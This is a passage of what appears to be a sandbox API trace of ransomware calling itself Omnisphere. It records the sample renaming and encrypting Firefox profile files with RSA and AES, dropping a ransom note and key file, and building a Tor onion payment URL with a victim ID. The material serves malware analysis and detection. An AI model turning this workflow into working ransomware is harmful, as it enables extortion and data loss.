lpOverlapped=0x0 | out: lpBuffer=0x3e0c380*, lpNumberOfBytesWritten=0x3e0c8e0*=0x524, lpOverlapped=0x0) returned 1 [0162.128] GetProcessHeap () returned 0x1600000 [0162.128] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x302) returned 0x174de08 [0162.128] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.omnisphere")) returned 1 [0162.129] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.omnisphere.id" [0162.129] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.129] WriteFile (in: hFile=0x398, lpBuffer=0x3e0c380*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c368, lpOverlapped=0x0 | out: lpBuffer=0x3e0c380*, lpNumberOfBytesWritten=0x3e0c368*=0x524, lpOverlapped=0x0) returned 1 [0162.130] CloseHandle (hObject=0x398) returned 1 [0162.131] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.131] CloseHandle (hObject=0x3b4) returned 1 [0162.131] SetEndOfFile (hFile=0x388) returned 1 [0162.131] FlushFileBuffers (hFile=0x388) returned 1 [0162.136] CloseHandle (hObject=0x388) returned 1 [0162.136] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903") returned 1 [0162.137] GetProcessHeap () returned 0x1600000 [0162.137] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174e118 [0162.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.137] GetProcessHeap () returned 0x1600000 [0162.137] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734300 [0162.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734300, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.137] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.137] GetProcessHeap () returned 0x1600000 [0162.137] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726538 [0162.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726538, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.137] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.137] GetProcessHeap () returned 0x1600000 [0162.137] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x106) returned 0x174e638 [0162.137] PathCombineW (in: pszDest=0x174e638, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\!DECRYPT_OMNISPHERE.txt" [0162.137] GetProcessHeap () returned 0x1600000 [0162.137] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1744470 [0162.137] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.137] WriteFile (in: hFile=0x388, lpBuffer=0x1744470*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c900, lpOverlapped=0x0 | out: lpBuffer=0x1744470*, lpNumberOfBytesWritten=0x3e0c900*=0x588, lpOverlapped=0x0) returned 1 [0162.138] CloseHandle (hObject=0x388) returned 1 [0162.138] GetProcessHeap () returned 0x1600000 [0162.138] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174e118 | out: hHeap=0x1600000) returned 1 [0162.138] GetProcessHeap () returned 0x1600000 [0162.138] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfc) returned 0x174e118 [0162.138] PathCombineW (in: pszDest=0x174e118, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\unique_decrypt.key" [0162.138] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.138] WriteFile (in: hFile=0x388, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c914, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c914*=0x5a0, lpOverlapped=0x0) returned 1 [0162.138] CloseHandle (hObject=0x388) returned 1 [0162.139] GetProcessHeap () returned 0x1600000 [0162.139] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174e118 | out: hHeap=0x1600000) returned 1 [0162.139] GetProcessHeap () returned 0x1600000 [0162.139] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174d8d8 | out: hHeap=0x1600000) returned 1 [0162.139] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afcaea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x7c375100, ftLastWriteTime.dwHighDateTime=0x1d1deb2, nFileSizeHigh=0x0, nFileSizeLow=0x58adf8, dwReserved0=0x0, dwReserved1=0xab, cFileName="widevinecdm.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1 [0162.139] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afb75b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x7c375100, ftLastWriteTime.dwHighDateTime=0x1d1deb2, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0xab, cFileName="widevinecdm.dll.lib", cAlternateFileName="WIDEVI~1.LIB")) returned 1 [0162.139] GetProcessHeap () returned 0x1600000 [0162.139] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfe) returned 0x174d8d8 [0162.139] PathCombineW (in: pszDest=0x174d8d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903", pszFile="widevinecdm.dll.lib" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib" [0162.139] StrStrW (lpFirst=".omnisphere", lpSrch=".lib") returned 0x0 [0162.139] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.139] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e0c8d8 | out: lpFileSize=0x3e0c8d8*=2456) returned 1 [0162.139] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c8cc | out: lpNewFilePointer=0x0) returned 1 [0162.140] ReadFile (in: hFile=0x388, lpBuffer=0x3e0c380, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0c8c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0c380*, lpNumberOfBytesRead=0x3e0c8c8*=0x524, lpOverlapped=0x0) returned 1 [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.142] GetTickCount () returned 0x116845a [0162.143] GetTickCount () returned 0x116845a [0162.143] GetTickCount () returned 0x116845a [0162.143] GetTickCount () returned 0x116845a [0162.143] GetTickCount () returned 0x116845a [0162.143] GetTickCount () returned 0x116845a [0162.143] GetTickCount () returned 0x116845a [0162.143] CryptAcquireContextW (in: phProv=0x3e0c360, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c360*=0x1669120) returned 1 [0162.143] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0c2c8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c36c | out: phKey=0x3e0c36c*=0x16395e8) returned 1 [0162.143] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c818*, pdwDataLen=0x3e0c35c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c818*, pdwDataLen=0x3e0c35c*=0x80) returned 1 [0162.143] CryptDestroyKey (hKey=0x16395e8) returned 1 [0162.144] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0162.144] CreateFileMappingW (hFile=0x388, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x998, lpName=0x0) returned 0x3b4 [0162.144] MapViewOfFile (hFileMappingObject=0x3b4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x998) returned 0x1480000 [0162.144] CryptAcquireContextW (in: phProv=0x3e0c350, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c350*=0x16689b0) returned 1 [0162.144] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0c308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c360 | out: phKey=0x3e0c360*=0x16396a8) returned 1 [0162.144] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0c344*=0x2, dwFlags=0x0) returned 1 [0162.144] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c34c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c34c*=0x10) returned 1 [0162.144] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.145] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.146] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, 